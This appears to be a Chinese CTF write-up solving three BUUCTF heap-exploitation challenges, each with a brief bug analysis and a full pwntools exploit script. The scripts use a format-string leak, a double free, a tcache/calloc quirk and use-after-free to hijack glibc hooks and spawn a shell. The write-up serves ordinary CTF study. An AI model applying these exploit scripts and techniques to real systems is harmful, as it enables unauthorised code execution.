天天看點

BUUCTF-PWN刷題記錄-7

目錄

    • gyctf_2020_some_thing_interesting(格式化字元串漏洞, double free)
        • 程式分析
        • 漏洞利用
        • Exp
    • gyctf_2020_signin(tcache unlink檢查不完整)
        • 題目分析
        • 漏洞利用
        • Exp
    • gyctf_2020_document(UAF, 修改堆上指針)
        • 程式分析
        • 漏洞利用
        • Exp

gyctf_2020_some_thing_interesting(格式化字元串漏洞, double free)

BUUCTF-PWN刷題記錄-7

程式分析

開始前要先輸入驗證碼,可輸入長度為19,然而比較長度僅為14

BUUCTF-PWN刷題記錄-7

這個函數中有格式化字元串漏洞,字元串為之前輸入的驗證碼

BUUCTF-PWN刷題記錄-7

删除之後指針沒有置空,double free

BUUCTF-PWN刷題記錄-7

漏洞利用

  1. 利用格式化字元串漏洞洩露libc位址
  2. 進行兩次add,對于每次add,其中一個大小為0x68,另一個随意
  3. delete(1), delete(2), delete(1),該題目編号從1開始,不直接double free因為會崩
    BUUCTF-PWN刷題記錄-7
  4. 把chunk大小為0x70塊的fd改為__malloc_hook-0x23,劫持即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 27484)
#r = process("./gyctf_2020_some_thing_interesting")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size1, content1, size2, content2):
	r.recvuntil("#######################\n")
	r.sendline('1')
	r.recvuntil("> O's length : ")
	r.sendline(str(size1))
	r.recvuntil("> O : ")
	r.send(content1)
	r.recvuntil("> RE's length : ")
	r.sendline(str(size2))
	r.recvuntil("> RE : ")
	r.send(content2)

def delete(index):
	r.recvuntil("#######################\n")
	r.sendline('3')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def show(index):
	r.recvuntil("#######################\n")
	r.sendline('4')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))

def edit(index, content1, content2):
	r.recvuntil("#######################\n")
	r.sendline('2')
	r.recvuntil("> Oreo ID : ")
	r.sendline(str(index))
	r.recvuntil("> O : ")
	r.sendline(content1)
	r.recvuntil("> RE : ")
	r.sendline(content2)

r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO"+'%17$p')	#elf 11 libc 17

r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
'''	get elf base
r.recvuntil('0x')
elf_base = int(r.recv(12), 16) - 0x161A
success("elf_base:"+hex(elf_base))
captcha = elf_base + 0x202050
content_o = elf_base + 0x2020E0
'''
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))


add(0x68, 'chunk0\n', 0x20, 'chunk1\n')
add(0x68, 'chunk2\n', 0x20, 'chunk3\n')
delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n')
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n')
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))

r.interactive()
           

gyctf_2020_signin(tcache unlink檢查不完整)

BUUCTF-PWN刷題記錄-7

題目分析

本題有後門函數,是以目标就是讓ptr不為空

BUUCTF-PWN刷題記錄-7

edit函數沒有檢查,可以UAF,不過隻有一次機會

BUUCTF-PWN刷題記錄-7

添加的機會為9次

漏洞利用

本題需要利用ubuntu 18的tcache實作

  1. 進行8次add(),然後全部釋放,此時7個進入tcache,1個進入fastbin
  2. 利用edit 修改fastbin的fd為ptr-0x10
  3. 再進行一次add(),此次會從tcache中取出,然後觸發backdoor(),進行calloc(calloc的特性會導緻直接從fastbin中取出chunk),從fastbin中取出chunk之後,就把ptr-0x10當做chunk放入tcache(在鍊入時,會向其fd域寫傳入連結表的相關資訊,并且發現,在鍊入過程中,不會對該chunk做size合法性檢查)

Exp

from pwn import *

r = remote("node3.buuoj.cn", 26109)
#r = process("./gyctf_2020_signin")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *0x4014DE
        b *0x401494
	x/10gx 0x4040C0
	c
	''')
elf = ELF("./gyctf_2020_signin")
libc = ELF('./libc/libc-2.27.so')
ptr = 0x4040C0

def add(index):
	r.recvuntil("your choice?")
	r.sendline('1')
	r.recvuntil("idx?\n")
        r.sendline(str(index))
	

def delete(index):
	r.recvuntil("your choice?")
	r.sendline('3')
	r.recvuntil("idx?\n")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil("your choice?")
	r.sendline('2')
	r.recvuntil("idx?\n")
	r.sendline(str(index))
	r.send(content)

for i in range(8):
        add(i)

for i in range(8):
        delete(i)

pause()
edit(7, p64(ptr-0x10))
add(8)
r.recvuntil("your choice?")
r.sendline('6')
r.interactive()
           

gyctf_2020_document(UAF, 修改堆上指針)

BUUCTF-PWN刷題記錄-7

程式分析

删除之後指針沒有置空,并且隻删除内容沒有删除控制結構

BUUCTF-PWN刷題記錄-7

對于每個document隻有一次修改機會

BUUCTF-PWN刷題記錄-7

并且修改時做了偏移,隻能修改低0x70個位元組,意味着不能修改fd

BUUCTF-PWN刷題記錄-7

漏洞利用

  1. 申請兩個document[0, 1],釋放0,通過0洩露libc位址
  2. 申請document[2],此時會切割document[0]的内容的一部分作為document[2]的控制結構,把剩下的部分放入smallbin
  3. 釋放1,1的内容進入unsorted bin,申請document[3],此時會把剩下的document[0]的内容的一部分作為document[3]的控制結構,并且document[3]的内容和document[1]的内容為同一記憶體
    BUUCTF-PWN刷題記錄-7
  4. 編輯document[0],在其中僞造一個chunk——p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8,這樣就修改了document[3]的内容指針

    這裡注意編輯時候有0x10的偏移,雖然documnet[0]指向0x5568c769b030,但實際我們編輯的是0x5568c769b040

    BUUCTF-PWN刷題記錄-7
  5. 編輯document[3],寫入system位址,然後釋放

Exp

from pwn import *

r = remote("node3.buuoj.cn", 28777)
#r = process("./gyctf_2020_document")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_document")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Give me your choice : \n"
def add(name, sex, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("input name\n")
	r.send(name)
	r.recvuntil("input sex\n")
	r.send(sex)
	r.recvuntil("input information\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Give me your index : \n")
	r.sendline(str(index))
	r.recvuntil("Are you sure change sex?\n")
	r.send('N\n')
	r.recvuntil("Now change information\n")
	r.send(content)


add('a'*8, 'b'*8, 'c'*0x70+'\n')#0
add('a'*8, 'b'*8, 'c'*0x70+'\n')#1

delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']

add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#2
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#3
edit(0, p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8+'\n')
edit(3,p64(system)+p64(0)*13+'\n')
delete(1)


r.interactive()
           

繼續閱讀